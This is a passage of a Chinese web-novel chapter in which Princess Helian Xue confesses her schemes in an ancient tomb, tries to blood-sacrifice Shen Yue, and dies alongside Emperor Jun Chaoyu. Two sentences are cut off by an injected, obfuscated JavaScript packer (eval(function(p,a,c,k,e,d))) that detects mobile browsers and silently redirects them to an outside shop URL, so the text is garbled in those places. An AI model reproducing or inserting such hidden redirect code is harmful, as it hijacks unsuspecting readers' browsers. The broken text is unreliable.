“臣不敢!” 汗流到了脖子上,君朝雨怒视他片刻,慢慢放下了剑,身后跪着的人见状也松了口气…… “来人。”他将剑收回了剑鞘里,声音里带着悲愤:“将他拉下去,除名!往后,永生不得进宫!” “皇上……皇上!”离知的声音渐渐地远了,陈宠小心翼翼地上前来:“陛下息怒。” “……走!” 雪儿不见了,猎犬循着气味来到了这地道的门口,他发誓一定得找到她。 不论那个地方是哪里。 地道快要走到头了,越逼近那座古墓,他心中便越像是有什么东西被撬开了,空气都变得凉飕飕的。 “皇上!皇——”一道有些熟悉的女声忽从后面传来,众人都疑惑地停下了脚步。 他惊见来人正是雪儿的婢女小齐。 “怎么回事?你竟然没和她在一起?” “来不及说了,皇上是否也是去寻娘娘的?” “正是。” “带上奴婢一起吧!也好帮个忙。” 主墓室中央,几人间空气焦灼,沈月脑中大乱,手指紧扣着并无着力点的棺椁面板,盯着那两个熟悉的人:“司云哥哥,你怎么会认识赫连雪?” “他还没那个资格认识公主。”那位老者搭话道:“不过,今天也算是认识了。”又转向司云:“没想到吧,这位就是您的主人。” 司云:“……混账!我从不曾有过什么主子。” “是吗?既不认公主为主子,又为何帮她做事呢?在我们的规矩里,一起合作的人都要认公主为主子,你以前没见过本尊不要紧,今儿也是你的荣幸。” “谦叔,何必跟他那么多废话,我们做我们要做的事儿就完了。”赫连雪仍旧是那么美丽,气质里却多了几分让人看不懂的东西,沈月大声道:“喂,是你让人拿了银簪给我,说有事要我帮忙,却将我弄来了这里,你到底想要干什么?!” “你一会儿就知道了。”赫连雪继续向那些毒人发出了指令,只见他们列着齐整的队伍,朝两边点着绿色鬼火之处走去,随后将手伸进了火中,耳边不断传来“咔嚓”的声音,似是有什么机关被打开了。 沈月无暇顾及,又转向司云:“司云哥哥,这一切到底是怎么回事?” “夭夭妹妹……”司云抬起一只手,似是想帮她什么,却根本无能为力,只能安慰她道:“你别怕,我一定会救你出去的。” 沈月咬了咬唇。 抬手——整个身子悬在半空,然后从那棺椁上掉了下来! 她不能一直待在这上面。 “夭夭!”司云赶忙过去接她,正好被她压住,后背撞在凸凹不平的石壁上一阵生疼。 “哟,还是个胆子大的。”谦叔一副看热闹不怕事大的样子,看着他二人的狼狈样。 沈月的脑中迅速回忆着之前发生的所有事情…… 当初他说救了她的爹娘,她便觉其中有疑,只是未曾深想,后来又出现爹娘被取血之事…… 这便是司云身上的疑点了。赫连雪呢?自己一直觉得她是个善解人意的温柔美人,怎的忽然变成现在这样?她还在操控那些毒人,她到底要干嘛?又为什么要将自己骗到这个地方来? 通过这老人的话,还能知道他二人之间有某种联系,司云哥哥是跟她的人合作上了,可是他们要合作什么?看司云这个样子是难以启齿了,只能去问她。 “喂——”她叫住赫连雪。“这一切到底怎么回事,你应该告诉我,就算你是要我死,也不能让我做个糊涂鬼吧!” “梦妃娘娘!”对方没搭理她,她丢下司云,跑了过去,站在赫连雪身后。 “洛夭夭。” 她终于肯对她说话了,没有回头,语气里有一丝笑意。 “你还记得,当初时疫蔓延,你背着沈因初私自出去治病救人的事么?” “当然记得。”沈月不解:“可你现在说这个干什么?” 她的眼睛已落在阴影中,鬼火的荧光照亮了那微微翘起的唇角——“因为那场时疫的病源,是我让人散布的,从清河血案就开始布置这一切了。” “你……?!”沈月怔住,听见对方继续说—— “你的司云哥哥为了得到你,只能与我的人合作。你爹娘当年并没死,是君琰派人在崖下接应救了他们,并喂下仅剩的两颗断魂珠解药,等他们两年后醒转过来,但我派人把二老从他手上劫了,这功劳归到了司云手下,而他要做的事,便是帮我从洛商丘夫妇身上取两管血出来。 后来,沈因初死了——是我杀的。司云很乐意,协助我将他的死嫁祸给君琰。” “你说什么?!”沈月一脸茫然,茫然且震惊…… “另外,我早就知道六妹来楚国会闹的,我过来也并非是为了帮她收拾烂摊子,而是早就计划好的事情,我就是嫁进楚宫,以方便继续开展我的计划。 叶秉心也是我杀的。我让人杀了他,然后嫁祸给君琰的手下。不得不承认,他是个很难对付的人,也是一个合格的对手,我与他周旋良久,好几次几乎就要被他发现了,这时候我就得感谢你了,总会在适当的时候给他致命一击,让他身心重创无力腾出手来对付我。” 沈月愕然,“……你做这些,图什么?!” “事到如今你还是什么都不知道吗?”赫连雪终于转过身来,“我便告诉你这是哪里。” 她打了个漂亮的响指,周围机关震动,那些鬼火开始移动,绿光背后露出了几个字—— 七星道人沈敬施遗墓 “洛夭夭。”赫连雪朝她走进一步,“你就是世间所剩的唯一一个,七星后人。” …… 七星后人? “我一直以来所做的事情,就是为了找到你。”她的神色淡淡的,慢慢说道:“原本我已找到了七星后人的线索,却因为你从王府死遁而中断了,后来我就怀疑上了沈月。散播疫病是为了让你们东南乱起来,顺便看看你的反应,七星后人都必得会医术,洛夭夭更是会,遇见那种情况更不会袖手旁观,而你的所为印证了我的部分猜想,我确信了沈月就是洛夭夭,而洛夭夭有可能就是我要找的人。 但是这还不够,我还要确证你上一辈人的血脉。所以,我同意了手下与司云合作,抢人之后,他得帮我从他们身上取血。然而我验过血后,发现他们并不是七星后人,那么,你……” “……什么意思?” “我在验过他们的血之后发觉不对,但我并未因此就停止对你的怀疑,正是因为我想到了这种可能,而事实也证明我的猜想是对的。洛氏夫妇,不是七星后人,而是你生父的友人。 沈从星当年也是为七星后人的身份困扰,干脆将你托付给了挚友抚养,自己则不知所踪。为了让你七星后人的身份不被发现,你被更名改姓并抹去了三岁之前的记忆,你以为自己是他们的亲生女儿,可实际上你是养女。 你的真实姓名就是沈月。星月阁最初是你父亲创建的,之所以叫此名,便是因为他叫沈从星,你叫沈月。而沈因初,则是七星旁支,亦是你的,叔叔。” 沈月怔怔地看着她…… “沈因初对你的好更是让我怀疑你,再细思君琰前后对你的一应行为,已经不难推出你才是那个大家都要找的人,而不是张美珠!” 这个烫嘴的名字沈月已经很久没有听到了,“和张美珠又有什么关系?” “因为啊,”赫连雪皱起了眉,语气里带了愤怒,“他当年的行为,差点将我也给骗了!” “骗你?” “你还不知道吧?也罢。反正你就要死了,我来告诉你也无妨。”赫连雪踱起了步子,叹了口气,“他为什么忽然要娶张家小姐,你知道吗?” “……难道不是因为喜欢她?” 赫连雪眼神忽然犀利:“他又为什么偏要摔你那个玉坠,你知道吗?” “我……?” “七星后人的血,可以开启天机库,天机库内有机甲图秘宝,得之可得天下,所以七星后人一直是大家都要找的人,你们楚国皇帝也不例外。 起初,他受命于君墨林,要找出这个人——还真一次就把你给找着了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340861|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !可是……” “可是什么?” “可是他爱上了你。 所以他不想将你交出去送死了。可若就这样将你推走,反而会让君墨林更加起疑,所以,他又不得不将你继续带在身边。 对君墨林要能交差,于是他想到了另外一个人,用另一个人去交差——也就是,张家小姐。” 沈月简直不敢相信自己听到的话,“……你说什么?!” “为哄骗对方、引君入瓮,他娶了她,同时也有意冷落你,还摔了你的玉坠。因为你的那枚玉坠,正是七星后人身份的唯一象征。它的名字,叫‘七星玉’。” “身份的象征……那为何阿爹阿娘从来没与我讲过?” “自然也是为了保护你。君琰故意摔了你的玉,是不想让你因这枚玉坠被发现真实身份而引来杀身之祸,后来他按照你的这个玉坠,做了个足够以假乱真的,送给了张王妃。你从王府死遁之后,张王妃彻底消失—— 不是消失,而是代替你成为了祭品。那一日我假意醉酒触碰到了紫宸殿的机关,里头停放着的女尸便是她,浑身的血都被抽干了,腰间还系着那枚和七星玉一样的坠子。很显然,当年四皇子君朝雨起兵之前,用‘七星后人’血祭开启天机库的事情君墨林已经做了,但他并未得到想要的结果,因为那个‘七星后人’张美珠根本就是假的。 君琰也早就知道这个结果,为了按住君墨林,他提前和君朝雨串通好了起兵造反的时间,刚好赶在君墨林反应过来之前。” 沈月听得一阵毛骨悚然…… “她消失了,张家却不敢过问一句,无非是因为这件事背后指使的人,是你们楚国皇帝。” 良久。 真相竟是这样复杂而残忍,在这一天被一个外人轻轻揭开的时候,她起初还未来得及有什么反应,只是怔在那里,待时间分分秒秒的流过去后,却是感到自己五脏六腑都在震动……那些疑点她不是没有想过,只是从前在王府里的那些夜晚太冷了,他对她也太守口如瓶了,导致她无法往更深里去想…… 君琰,你为何,为何要这样……你又是何苦呢? 我曾是那样恨你,可一夕之间,好像所有对的都变成了错的,错的又都变成了对的,被夹在中间煎熬的是你我之心,但就算如此,你又一直都是对的吗?不,恰巧相反,你仍是错的,而且错得太离谱! 眼泪不自觉滴了下来。 还有阿爹,阿娘…… 为什么,为什么你们知道我的身份,却都不告诉我?该我面对的迟早都要面对,让我知道了又怎么样呢? 她的情绪还未来得及发抒出来,轻喘着,问赫连雪:“你说的……可都是真的?但你是燕国公主,为什么,会知道这么多?” 赫连雪柔柔一笑。 “是你们楚国皇室机密又如何?这天底下,还有我赫连雪不知道的事情么? 如何?让你做了个明白鬼吧?那现在,是不是也该轮到你了。” 她向她走近,抬手,单指挑起她的下巴,“这些年我费了许多周折,终于找到了真正的七星后人。今天,便是你的血祭之时。” 沈月与她四目相对。“你也要开天机库拿机甲图?” “不错。” “呵……我原以为,你是个好人。原来你那次救我,也不过是早有预谋,是为了今天……你不是真的爱皇上。” “好人?”赫连雪冷笑,“什么样的人是好人?什么样的人又叫做坏人?你能说你就是个好人吗?你的司云哥哥,又是好人么?” 尘土漫过眼睛……在墓室大门开启之后,恨不得历经九曲十八弯,君朝雨终于要找到她了,却听见里面传来了她说话的声音。 他一时屏住呼吸,没再往里走,倚在外边的石壁上,静静地听着…… 眼神一点一点地呆滞了,从震惊,到愤怒,到茫然无措,再到绝望……指甲紧扣着石壁,皮肤被磨破的地方血流了出来,留下斑驳的红色。 若不是亲耳所闻,他还是真的一点都不会相信…… 随行人员也听得惊呆了。任谁也想不到,从来端方守礼、宠冠六宫、挚爱着皇上的梦妃娘娘,竟会是近几年所有国中大难的幕后主使。 视线里这时又出现了一个陌生姑娘,君朝雨这才注意到,这个女孩也来了好久了。 陈宠察言观色,上前问:“你是谁?怎么也来了这里?” 琉璃看了看他们,目光绕过陈宠锁住了君朝雨……“您是……皇上?” “诶,有眼力劲。”陈宠道。 “皇上恕罪!”琉璃却没再多说话,绕开了他们,推门进去! 她也来了不久了,里边的对话她听了个七八分去。原本是要找沈月的,却没想到她竟是被骗来了这里,公子那边还在等着婚礼,自己现在一定、必须得要救她出去! 墓室内正一团混乱,司云上前来了,对赫连雪:“你不准动他!” 赫连雪的眼神很轻蔑。“无用的男人,你武功不好,又无权势,凭什么救她?” 谦叔跟上来了,“若是不想多搭上一条性命,就快走吧。除非你想和她同死? 不过她现在已经知道了你做的所有事情,你看她还愿意和你同死吗?” “夭夭……”他满心愧疚地看着她,“对不起,我为得到你做了许多不应该的事。” “……快走!”沈月被赫连雪掐住了脖子,飞快地看了司云一眼,说:“虽然我恨你,但我也不希望多死一个人!你若觉得心中有愧,出去以后,就帮我给阿爹阿娘,还有他……说句遗言,就说我对不起他们!” “住手!”一个小丫头的声音忽然出现,琉璃飞身而至,沈月还没看清她的招式,赫连雪掐着自己脖子的手已被打开了。 “哪来的小丫头?!” “姑娘!” 这是……?!沈月惊愕回头,竟看见了故人。 “琉璃?!你怎么会来这里?” 她已经有很久,很久没见到她了…… 眼眶湿了。 琉璃:“我心中觉得不安,特意来找你的。她刚才说的我也都听见了,姑娘,没事了,我会保护你的,现在我们赶快走!” “你们现在谁都走不了了!”赫连雪抬掌,一股内里从掌中荡出。 “那朕呢?!”——一个洪亮的声音划破了诡异的氛围,君朝雨终于大步走进来。 82. 焚心以火 “……皇上。”赫连雪与他四目相对。 “怎么——朕来了,你好像一点都不惊讶?” 赫连雪笑意不达眼底,遥遥望着他:“实不相瞒,妾身在此恭候陛下许久了。” “是嘛?” 君朝雨头一回产生了被人算计的挫败感,而这位算计他的,还是他心爱之人。 “朕待你不薄。”他拼命压抑着情绪,质问她:“你为什么要这么对朕?!” “皇上都听到了啊。”赫连雪依旧像往常那样对他笑着,“我要做什么,并不会因为皇上待我好或不好就发生变化。这件事情,我一直就要做。” “是你先前与朕说,不要去开天机库,也是你告诉朕,你还劝了燕国皇帝、你的兄长不要去开这个东西,可如今,动这手的人却是你自己。这些年,东南的时疫,还有那么多人的枉死,竟都是拜你所赐……朕只恨自己从前瞎了眼睛,不曾看出你是这样一个骗子!” “不骗皇上,又如何能达到最终目的呢?若你还是四王爷,或许我需要去骗的人就不是你了。” “你还狡辩!”君朝雨又气愤又悲痛,回想起自己之前发现她不见了时的慌乱,来此地途中明知凶多吉少却不顾侍卫劝阻也要救她的决心,已经不知道该说些什么了,属于帝王的那股颜面和自信在此刻重新占了上风,他拔剑—— “既然现在朕来了,那么你今天必须放人。朕不去做的事情,也决不允许除朕以外的人去做!” 赫连雪并未被这帝王气势吓到,笑了笑,“皇上要救沈月啊?” “陈宠,送这几个人出去。”他吩咐道。 “陛下,这?!” “送他们出去!” 赫连雪朝他走了过来。 抬手,轻轻地,按下了他的剑,柔声: “皇上息怒。皇上细想,从前和你朝夕相对、谈笑风生的,也是现在的这个我呢,只不过那时你不曾知道真相。从前我们可以那般恩爱,何以你知道这件事以后就不行了你?又何必非要与我作对呢?” 话音未落,沈月、琉璃等人面前的大石门已应声落下! 君朝雨不知为何,分明心中依然悲愤至极,却仍是顺着她的手,将剑放了下来……那双看向她的眼睛里,蕴着深不见底的痛。 “公主,公主……”小齐看着他们,终于忍不住了,“您明明答应过陛下,要帮他找这个东西,食言也就算了,何以竟还要自己独占?” 赫连雪回过目光…… “小齐,你也来了啊。说起这些,我还不及问起你的背叛,何以你反倒先质问起我来了呢?” “我……!” “我知道,你从一开始就是二哥的人,在我身边监视我。所以,我的事情自然都是瞒着你做的。身为我的侍女,心却向着别人,我说的没错吧?” “原来公主早就知道了?” “不仅知道,还要利用你去传递我想要让二哥知道的事情。” “公主,奴婢虽是受命于皇上,可也并未有过害您的心思,不过是替皇上多长双眼睛而已,奴婢只是希望你们都好,希望大燕好!” “都好。”赫连雪冷笑一声。“你是将我伺候得不错,可我这个人向来不讲什么情面,你既然从一开始就不是我的人,你我之间,也没有什么好说的。我原本没想把你怎么样,可你自己跟来了,那你今日便留在这里陪葬吧。” “公主,您要做什么?!这个东西,这个东西不能由您来打开!”小齐上前来了,未及靠近,赫连雪不易间出手,她跌坐在了地上。 满目的暗与灯,似还染着一层薄薄的血色,小齐举目四望,忽像是发现了什么玄机,赫连雪忽绕过他们,闪现在了沈月身前,一把抓起她的手—— 飞身上了祭台! 几根suo/lian应声飞出,拴住了她的手脚! 沈月低头一看,在她脚下站立的地方,台上布满了一些繁复而陌生的红纹。 赫连雪飞下来,转身又飞出两枚暗器,“嚓”、“嚓”两声贴着她的手臂飞过,破皮了,血流了下来,滴进了地上的红纹里…… 红纹吸入了她的血,发光了! 赫连雪笑了,看向君朝雨: “按照这座古墓的设计方式,两边祭台上的机关需普通人血献祭,所以我训养了那些毒人,你看,他们现在都在挥剑自杀呢。” 连连的惨叫声传入耳边,众人皆看见那些没有五官的毒人,一个个仿佛没有痛感地跳进了化血池。 “然后便是主祭台上的祭品。就连陛下你也只知道这座古墓是闹鬼的地方,而不知道他真正的主人与玄机吧?若非今日为找我而来,恐怕你一辈子也不会知道呢。 沈月现在站立的地方就是主祭台,她脚下的红纹便是打开天机库机关的核心,需要吸纳七星后人之血。现在红纹已经溢光了,陛下你看,这位就是真正的七星后人,世间仅剩她一个了。功夫不负苦心人,现如今天机库秘宝已在我们掌中。” 君朝雨脑海中一阵嗡鸣…… 为了寻这个七星后人,不知君墨林折损过多少人力物力,如今这个人就近在咫尺,他心里却有种说不出的滋味。他曾答应过九弟不去开启天机库,也答应过他不去处置沈月,如今看来是要两桩应承都给违背了。赫连雪竟有如此手腕,他们显然都太小看她了。 ……等等! 方才一直悲愤于雪儿之事,却忘了另外一件—— 沈月竟还活着,那是不是说明,九弟的死也是假的?! 沈月低头看着地上鲜红诡异的红纹…… 脑海中蓦然间出现了小时候数星星的画面。那时候,阿爹总会告诉她,天上的哪一颗是北斗七星。 赫连雪方才告知的事实,一直在耳边回想…… 阿爹,阿娘,父亲,沈伯伯,还有,君琰,我怕是不能再见到你们了。待我死去后,或许也会化成天上的星星罢?也不知这场无休止的纷乱与抢夺,会否随着我这个七星后人的死亡而终止,若能如此,也算是功德一件吗? 那个谶言的真假已经不重要了,重要的事,赫连雪他们为了这个东西,竟害了那样多的人,如果我早知道自己就是这个七星后人,我必定会尽早在他们面前了结自身,以终止这场荒唐而可笑的抢夺,可是他们都不告诉我! 七星,后人…… 那么多大人物口中的神秘人,竟然……是我啊…… 可我又何尝想做这么一个七星后人?我只是洛夭夭,只是沈月罢了……我的先祖,又是出于什么要这么做?挑起这样多的后世争端,可谓是个罪人了,所以我,现在要替我的先祖还罪。 真要将沈月救下就得拿命去换,甚至……比死更痛苦百倍,现在的这些人中间,没有谁舍得这样做。赫连雪想着一笑,转身又看向了君朝雨。 “雪儿,”他启唇,语气里竟是带着不容置疑的味道:“我不允许。” 不允许她将天机库打开,更不允许天机库中的秘宝被归属于燕国。 “由不得你。”——她亦拔剑。 电光火石间,两股劲气在古墓中震荡开来,两人一个对撞,霎时间血沫飞溅,整个墓室随之一阵巨颤! 小齐、谦叔等人已栽倒在地,室内弥漫开了血雾,缠斗间赫连雪手中暗器向祭台上飞去,沈月身上一阵剧痛,紧接着,更多的血从身上流了下来,渗进了那些红纹里。 君朝雨掌上血气不断凝聚,又不断散尽,招招凶狠却又并不致命,另一面赫连雪出手就要狠得多了,招招直逼他命门。 “轰隆——!” 又是一声巨响,原本异常坚固的墓室再受不得这两股真气冲撞,大大小小的石块自墓室顶部陆续垮塌了下来,重重砸下,又随着空气里震荡的真气被卷起几阵…… 君朝雨眼中蓦地闪过一丝愕然。 如此打下去,墓室若垮塌,所有人是都活不了了,但除此之外还有一点…… 不及细想,赫连雪忽然全力蓄积真气迸发,似又念了什么诀,手里那柄长剑忽在血雾中爆涌出一阵寒光,随着那灵巧的身影凭空一道,穿过了对方的真气屏障,直直刺向对面那染血的男子—— 身躯骤然一阵剧痛,勉励支撑中君朝雨站住了,迎向她的目光! “……雪儿!” 片刻后他迸发出一声惨痛的呼唤,径自向她奔去。 君朝雨的武功亦属独步,高手对战,要杀他,必得伤敌一千自损八百。 赫连雪倾力一击,内力耗尽,四肢多处骨裂,周身真气却仍在震荡,她一手执剑,以剑撑地,单膝跪住,几缕血丝顺着长剑流了下来。 “赫连雪!你在干什么?!你看看……你看看你自己啊!” 他焦急地向她奔去,却无法近她的身,胸口方才被刺了一剑,此时泛起了剧痛,他捂住胸口几欲站立不稳,急剧地喘着气,伸手进衣兜里去找压制伤势的药丸。 “皇、皇上……!”几名亲随的声音已被淹没在碎石轰隆的声响中听不见了。 “这里要撑不住了,快找离开的办法!谁能把这门打开啊?!”小齐绝望地喊着。 琉璃缓过一口气来,腾出被碎石压住的腿,遥遥看着那已经看不清的祭台,心痛道:“要塌了,要塌了,姑娘……” “——我去!”司云忽然离开,冒着倾塌下来的碎石,拼尽全力上了那座祭台。 沈月正在等死,惊见他竟然来了,“你来干什么?!你们还不快走?!” “不可以,我不能看着你在这里等死!”他焦急地想要为她解开suo/lian却办不到,猛然间忽看见这座祭台旁边的主子上也有那些红纹,而那些红纹因为没吸收七星后人之血,仍是暗色。 那些柱子背后,便牵着这些suo/lian! 看来,赫连雪方才之所以能控制suo/lian,也是因为用了夭夭的血。 他即刻俯身胡乱摸了两把地上红纹处的血迹,也不顾手指被灼伤的痛,飞速走向那石柱,将她的血抹在了那些红纹上。 “咔嚓”一声! suo/lian开了,他飞速过去接住她,扯下自己的衣布为她帮助伤口,而后也不待她反应,一掌将她推下了祭台,“——走!” “司云!” 他这一章用尽了所有真气和内力,虽然武功是个半吊子,但显然比她这个不会的要强上很多,刚一下去,琉璃便过来接住了她,“姑娘,我们快走,不要让他白白牺牲!” “司云哥哥!”她震惊地看向那个方向,万难想象事情竟会变成这个样子,而落向祭台的乱石已彻底淹没了她的视线。 赫连雪和君朝雨那边却还未关注到祭台上的动静,两人现下皆已重伤,她露出了笑容:“一会儿这里所有人都得死,包括沈月,她的血会被用来开启天机库,那下面的密宝,只能是属于我三哥!” 君朝雨吃力地到了她身边,一掌包裹在她执剑的那只手上,鲜血顺着指缝流了下来,和她的血流到了一处…… “原来你不是自己要那个东西啊。” “自然。此地有进无出,我早就知道,所以从一开始我就没打算活。等我们都死了,天机库也开了,我二哥便会领着人来取走密宝。” “为什么?!你这个二哥又是何人,我从未听你说起过。” “他是我誓死也要效忠的人。”乱石轰隆,一片混乱间,她的眼中透着坚定,“如果只能有一个天下之主,我只愿这个人是他!这个流传已久的谶言、密宝,应该被终止,天机库也应该被能够控制好它的人打开!沈月更是必须要牺牲,就为了她先祖留下的荒唐账!” 君朝雨缓缓地摇头——“你曾经说过,天机库一开,不一定是好事,更有可能是灾难,我那时还觉得你颇识大体,你自己说的这些话,自己都不认为对么?” “那还要看这东西是在什么人的手上!杀伤力大的东西,有德者得之,暴虐者不配,他是值得我信任的君主。” “所以,我不是。” 赫连雪笑了。“对,你不是。” “你一直都在骗我。” 他忍着剧痛,眼睛里再不复平日的深不见底,而是染上了可悲可笑的神色,将那丸药递到了她嘴边,用命令亦恳求的语气道:“吃下去,然后滚!” 她用另一只手接过了药,看也没看,便将那药丸在掌心捏碎。 “你……!”君朝雨大怒,“这药只有一颗,是朕危急关头用来救命的药,你竟就这样捏碎了?!” “谁要你的东西。”她轻笑着,却是伸手揽过了他的肩膀,抱住,“我已经要了你的人了。” “你到底想怎么样?”他的声音里渐渐浮出了悲腔。 “我都这样对你了,你不是也没杀了我吗,陛下?” “可你却能忍心杀了我。” 她松开了手,宝剑应声倒地,她整个人倒在了他怀中,仰头看着他的脸,伸出的手停在半空。 他抱着她,一如从前的每一个日夜…… 赫连雪:“但是,我亦能把命赔给你。” “谁要你赔?”他脸色苍白地看着她,因她方才那一刺,此刻也是气若游丝了,却依旧情绪激动:“你给朕活下去,活着赔罪!” 她唇角翘起一个好看的弧度,“忘了告诉陛下,你后宫的每位妃嫔都被我喂了凉药,包括皇后。所以,陛下自然是不会有子嗣的。你走之后,楚国无人即位会陷入大乱。” “你……” “我就是要楚国乱,要楚国百姓不好过,并不会因为爱你就改变我的想法。” “你和楚国有仇吗?!” “……还真给你说对了。”她似是有些累了,用尽最后的力气对他一笑—— “对不起朝雨,我是真的爱你,那十年的想念也是真的,但在我这里还有比爱你更重要的事情。所以,我会杀了你,然后和你一起死。” “可我并不喜欢这样的结局。”他苦笑着,声音愈发虚弱,许多还未来得及说出口的话,也再不能说了。 视线中的人儿仿佛在渐渐远去…… 儿时的欢笑声、沙场金戈之鸣、绮罗帐中的娇声软语,一瞬全都被定格在了昨日。 头忽然往下一垂——恰抵着她的额头。 他的瞳孔,散了。 “我记得,开启主墓棺盖也是出墓方法之一,可是看样子棺盖已经被打开了,问题是出口一直被碎石堵住,现在我们剩下的时间不多了,必须短时间内通过,否则……”混乱中琉璃理了理思绪,对沈月说。 “皇、皇上!——皇上啊!”陈宠忽然一阵悲呼。 循着他声音看去,沈月这时才发现很多人都已经死了,那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14346415|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老者,司云哥哥,还有……皇上和赫连雪。 如今剩下的只有她、琉璃和陈公公了。 “棺盖已经被打开过……”沈月这时稳定下来情绪,脑中迅速思考着,“一定是赫连雪!她有意提前打开了机关消耗它的效用,再和皇上一打起来,真气碰撞下墓室坍塌,便无一人能够出去,如此一来就能确保她的事情万无一失!她断了所有人的生路,自己也没想活!” “皇上啊——!”陈宠冒着乱石跑去了君朝雨身边…… “我不信,不信!一定还有办法的,姑娘,九公子还在婚礼上等你啊!”琉璃摇着头,大声说。 君琰…… 她的心痛得像针扎,然眼下也不及多说什么,又问琉璃:“除了这个方法,还有没有其他办法出去?!” “这……” “或许可以原路返回?!”她忽然想到了这点,说:“我是被人带到这里来的,不知道进来的路,但琉璃,你是自己进来的吧?” 琉璃眼睛一亮,“对!我是跟着皇上他们从地道进来的。” “好,那我们就也沿着原路出去!你看,这里的机关似乎都是能逆转的,所以我推测,我们应该也能顺着进来的路返回。” “这墓室主人一路设置了不少机关,姑娘没有武功,一会儿你跟在我身后,我就算死,也要护你周全!” “不能只让你一人拼命!”她弯腰捡起了地上一个随从掉落的刀,“我还能做什么,你说就是。” 琉璃带着她原路这番,两人快步走着,一路东躲西避,又遇见守墓之兽。琉璃早有准备,凌空丢出一个星盘,只见那星盘飞出去的一瞬,她口中念诀,星盘便即刻溢出银光,挡了那凶兽之路。 “快跑!”她拉紧她的手,趁机从那凶兽肚子下钻过去了。 “那法宝不要了?” “管不了了!” 碎石依然在轰隆隆往下掉,两姑娘一路抱头逃出,片刻之后,她们听见了身后一声巨响—— 古墓之门彻底落下! “琉璃!”她看见她的裙摆上全是血,问道:“你还好吧?” “我没事的,倒是姑娘你……”两个时辰后她们逃到外面时,天已阴了,琉璃让她坐下,为她查看伤口。 一截衣布已被彻底染红。 “好在我带了些止血药,先给你用上。” 她为她涂了药,她也为她涂药,上好了药,便坐在那儿眼神呆呆的,“太险了,真没想到我还能活下来……” 这一日内发生的事,太让她震惊了,震痛莫名,久久无法缓过劲来。适才得知司云骗她,转瞬他却又为她牺牲了自己……从前从来以为自己是局外人,而今才知,她才是那个众矢之的…… “琉璃,你怎么会过来的?”而今情况稍安,她终于问道。 四下里静得可怕,琉璃叹了口气,在她旁边坐下。“自然是公子让我来浙江的。” “他让你来,做什么?” “让我来参加婚礼,李嬷嬷也来了。” “嬷嬷?!”她遥远的回忆又被勾起了,看着她——“这些年你们过得都好吗?” 琉璃笑了笑。“日子从来就是这样,没什么好也没什么不好的。” “他为什么现在才让你们来?” “因为我们留在京城还有事。另外,他也怕我们藏不住事,会忍不住把一切都告诉你。” 沈月的目光犀利了起来。 “你早就知道是不是?你,还有嬷嬷,你们从一开始就全都知道……” “是,但我们不能告诉你。” “因为这是君琰的命令?” “不错,我们都是公子的人,唯他之命是从。更何况这件事,他是对我们下了死命令的。那段时间公子必须要冷着你,他原本的计划,是要哄骗真正的七星后人去做那个祭品,但他在遇见你后改了计划,又不能直接将你推开了惹先皇生疑,就只能让所有人都以为,你不过是一个他一时兴起带回来玩的野丫头。他越不重视你,你就越安全。 其实那段时间,公子也很心痛,所以安排了我陪着姑娘。后来与嬷嬷不对付的事,也不过是演给张家小姐看的。 公子说过——绝不能让你知道自己才是那个七星后人,否则以你的脾性,必会牺牲自己来终止这个谶言,他私心不想失去你,所以必须瞒着你。 但我和嬷嬷也知道……那段时间,你是真的心灰意冷了。他那般言行,换了谁都受不了,所以公子一直以来也很愧悔,他也和我们说过,若是能重来一次,他不会再采取这样的做法来保护你,而是宁可从一开始就不要找到你,此外还要想方设法地也不让别人找到你,这样对你才是最好的。” “那取我血做药引的事呢?”她接着问。 “那不过就是个幌子罢了。那段时间你出去会有危险,外面到处都是人在找七星之后,他需要有一个理由让你留在王府,同时又要表现出对你的冷淡,刚好张家小姐告诉他自己需要人血为药引补身子,所以他就用了这个理由,公子绝不可能真要取你的血,也不会允许任何人这样做!” “那么,我当年假死后,是张王妃代替我做了那个祭品?” “是。姑娘应该也知道公子这个人,对于不在意的人,他向来没什么同情心,动动手指就灭了人家整个帮派也是家常便饭。当年又有足够以假乱真的‘七星玉佩’为证,先皇便信了,等他发现人是假的,为时已晚。” “那,你就不怕现在都让我知道了,君琰的担忧会成真吗?” “现在不会了,这件事情在今天以后也应该结束了。” “可若真如赫连雪所言,她的三哥会来到这里拿走天机库中密宝,我现在还活着,没被放干血去开天机库,她三哥来了,岂不会气急败坏,又如何不会重新寻我?” “这事儿回头问问公子吧,他会帮你解决的。” 沈月起身,眼里是无法言说的担忧…… “我只怕今日之后,局面会变得更糟。 皇上驾崩了,他没有子嗣,唯一的兄弟是七王爷,若后继无人便会纷乱迭起……君琰他还会继续袖手旁观么?” 往昔重重画面一帧帧向脑海中涌来,她回忆起了与他之前的甜蜜、希望和绝望,一声叹息散在风里…… 可是为什么不能让她早一天知道这些呢?为何偏偏是今日? “姑娘,我送你回去吧,你这伤处,要尽快找大夫来看一下。”琉璃忍疼站起,扶住她,“我们继续走……” “不。”沈月摇了摇头。 “姑娘?” “我……” 目之所及处,是春山。 心思一团乱麻,她只得先冷静下来,在心里将所有事分了个轻重缓急:第一是要去找君琰,第二,是想办法安葬司云哥哥,第三,是告诉君琰今天知道的一切,与他商量拿个主意,看如何对付赫连雪那三哥,第四,便是问君琰…… 心思已定,一张满是灰尘的俏脸上露出了微苦的笑。 “今天已经是他第七次娶我了吧……琉璃,我又让他失望了。” 